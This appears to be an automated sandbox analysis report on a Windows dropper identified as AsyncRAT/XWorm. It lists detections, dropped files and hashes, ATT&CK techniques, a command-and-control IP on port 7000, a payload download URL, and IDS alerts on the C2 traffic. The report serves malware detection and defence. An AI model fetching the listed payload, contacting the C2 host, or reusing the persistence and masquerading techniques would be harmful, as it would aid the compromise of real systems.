Source: Yara match	File source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: windxcmd.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	2 Scheduled Task/Job	111 Process Injection	11 Masquerading	1 Input Capture	541 Security Software Discovery	Remote Services	1 Input Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Scheduled Task/Job	1 DLL Side-Loading	2 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
windxcmd.exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
windxcmd.exe	100%	Avira	TR/Dropper.Gen
windxcmd.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\svchost.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\wind.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\svchost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\svchost.exe	83%	ReversingLabs	ByteCode-MSIL.Ransomware.CryptConsole
C:\Users\user\AppData\Roaming\wind.exe	19%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label	Link
45.141.26.134	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
45.141.26.134	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.apache.org/licenses/LICENSE-2.0	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designersG	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/?	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers?	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.tiro.com	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.carterandcone.coml	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sajatypeworks.com	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.typography.netD	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/cabarga.htmlN	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/cThe	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/staff/dennis.htm	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/frere-user.html	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discord.gg/arzenshop%click	wind.exe.0.dr	false	high
http://www.jiyu-kobo.co.jp/	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/DPlease	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers8	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fonts.com	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sandoll.co.kr	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.urwpp.deDPlease	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/stark11231/spoof/raw/main/WindXTen.exeAC:	wind.exe.0.dr	false	high
http://www.zhongyicts.com.cn	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	svchost.exe, 00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sakkal.com	wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
45.141.26.134	unknown	Netherlands		62068	SPECTRAIPSpectraIPBVNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562137
Start date and time:	2024-11-25 08:54:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	windxcmd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/3@1/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 25 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target wind.exe, PID 7480 because it is empty
Execution Graph export aborted for target windxcmd.exe, PID 7404 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: windxcmd.exe

Simulations

Behavior and APIs

Time	Type	Description
02:55:24	API Interceptor	12254486x Sleep call for process: svchost.exe modified
07:55:26	Task Scheduler	Run new task: svchost path: C:\Users\user\AppData\Roaming\svchost.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	main.exe	Get hash	malicious	Blank Grabber, SilentXMRMiner, Xmrig	Browse	ip-api.com/json/?fields=225545
	_THALAT DEME DURUM.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	Quote GVSE24-00815.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	dLRcE11Dkl.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	owuP726k3d.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	main.exe	Get hash	malicious	Blank Grabber, SilentXMRMiner, Xmrig	Browse	208.95.112.1
	_THALAT DEME DURUM.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Quote GVSE24-00815.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	dLRcE11Dkl.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	owuP726k3d.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPECTRAIPSpectraIPBVNL	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	45.138.53.54
	18fvs4AVae.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.170
	Fulloption_V2.1.exe	Get hash	malicious	XWorm	Browse	45.141.27.248
	BoostFPS.exe	Get hash	malicious	XWorm	Browse	45.141.27.248
	bPRQRIfbbq.exe	Get hash	malicious	Unknown	Browse	45.138.16.44
	4Fm0sK0yKz.exe	Get hash	malicious	AsyncRAT	Browse	45.141.215.18
	Payload 94.75 (3).225.exe	Get hash	malicious	Unknown	Browse	45.141.215.40
	Payload 94.75 (2).225.exe	Get hash	malicious	Unknown	Browse	45.141.215.116
	Payload 94.75 (3).225.exe	Get hash	malicious	Unknown	Browse	45.138.16.76
	Payload 94.75 (2).225.exe	Get hash	malicious	Unknown	Browse	45.141.215.21
TUT-ASUS	main.exe	Get hash	malicious	Blank Grabber, SilentXMRMiner, Xmrig	Browse	208.95.112.1
	_THALAT DEME DURUM.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Quote GVSE24-00815.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	dLRcE11Dkl.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	owuP726k3d.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	208.95.112.1

Process:	C:\Users\user\Desktop\windxcmd.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Roaming\svchost.exe

Download File

Process:	C:\Users\user\Desktop\windxcmd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.6065495020412435
Encrypted:	false
SSDEEP:	768:yvDn5gHCJiQtTZeIAIxZH9oLIbtAW0xEtF5Pa9gveOwhI33Eab:YCHMlhZDAI6kN0xMFY9gmOw+UY
MD5:	FBC06EB9F872988CF94EC59C859FACD7
SHA1:	B6DB9E916A0B5982C7EE5DF9417D58ABBD61808F
SHA-256:	C1E467AC8B0AFE2AD9D5A1C5F24DB273345931C07B7E21A40ACD572C7E646BBE
SHA-512:	DB447AEFBD7F536FBB7C9E89402AF8C76EBF9AB237557961109DF722E66776B5E02F39986B0BD4200254FCE19EE191F0CE2B1451737BA946E0F87BEDB0B8A201
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Cg............................~.... ........@.. ....................................@.................................(...S.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................`.......H........Z..TX............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Roaming\wind.exe

Download File

Process:	C:\Users\user\Desktop\windxcmd.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3491840
Entropy (8bit):	7.809105520751368
Encrypted:	false
SSDEEP:	49152:zOzR/epSFnOne5uBwoqzCr4MnYrX6AXoZNM1Ho7Fif35uA+2c/8UdhbIJYkg4Huc:zOz0YMzwQ4nqqoYWy97c/TM5g4+K
MD5:	A43BF335D87DF0128E7DA328C6A447B7
SHA1:	D65EB53BE51870AA31E1AB675F6AC7C8C6528F5C
SHA-256:	60AA4E15C2F974A4EBB9ADA3A90EC6A786C77FAA993A87572308F7F7A5E9B3B6
SHA-512:	C3446F80D932B54E0C9E527E9176658FA6B986E45D42DBF73E6652DF3FF0984E92E61D3E27CDCECDFFA75035E13CB3C0830A99078D47BE3DAD6CFB52971D1186
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 19%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.... ..........."...0..45.............. .....@..... ........................5...........`...@......@............... ...............................`5. ............................R5.8............................................................ ..H............text....25.. ...45................. ..`.rsrc... ....`5......65.............@..@........................................H........&..............\....?/...........................................(.....(......(.......(......(....s....(....:..(.....(......o.... ....3.(....&. ......(....&.0..........s......Z.%..(......(......"..4C"...Bo....%..(.....Y..(......"...C"...Bo....%..(.....Y..( ....Y.."...."...Bo....%..(......( ....Y.."...B"...Bo....%o!....:..(.....(.....2r...p("...&.0..........r;..pra..p..@(#...&ri..p.s$...%o%...r6..po&...%o%....o'...%o%....o(...%o)...&%o....o+...%o...o,...%o...o-...%

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.999409826341136
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	windxcmd.exe
File size:	3'542'528 bytes
MD5:	65f2df92724e59cabe9cc5f12768ad93
SHA1:	6f21c66f2c529d37b046f53b04e3fd3baf91b13b
SHA256:	bd5f54fa6a6b85d25c93c790c1b63f28f557cb7d9c1a79cbe702df30f6d0cc07
SHA512:	59d5584d99401502babae333b85c68b39ca027710b19d27711b083526812593cdaca14c4e68f1b4f31daabbf1c8c7881e0ccd289567bd296fc7718f8dfed78f0
SSDEEP:	98304:L/NSW1ks76/dzpo0XxEVDixT8tgbCfBIo:L/NShxp5+ViwgbB
TLSH:	3CF523482383B7C1E71A5BBF069633AAA544914ED9A156FE4534DB38E2241E33C353FB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c.Cg..................6.........~"6.. ...@6...@.. ........................6...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x76227e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67431F63 [Sun Nov 24 12:43:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x362230	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x364000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x366000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x360284	0x360400	8d9927e2db3793dcbb2d20b9967edf54	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x364000	0x4d8	0x600	f341932118d0526aec5c19047b4f8ba6	False	0.3743489583333333	data	3.726050043701057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x366000	0xc	0x200	995a71f3866ea5420b957cf65eb7cc7b	False	0.044921875	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "6"	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x3640a0	0x244	data			0.4706896551724138
RT_MANIFEST	0x3642e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T08:55:39.249985+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:55:39.835907+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:55:39.853925+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:55:53.369724+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:55:53.369724+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:55:53.712594+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:55:53.721542+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:07.602597+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:07.604708+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:21.492991+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:21.494597+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:23.378688+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:23.378688+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:34.178782+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:34.181270+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
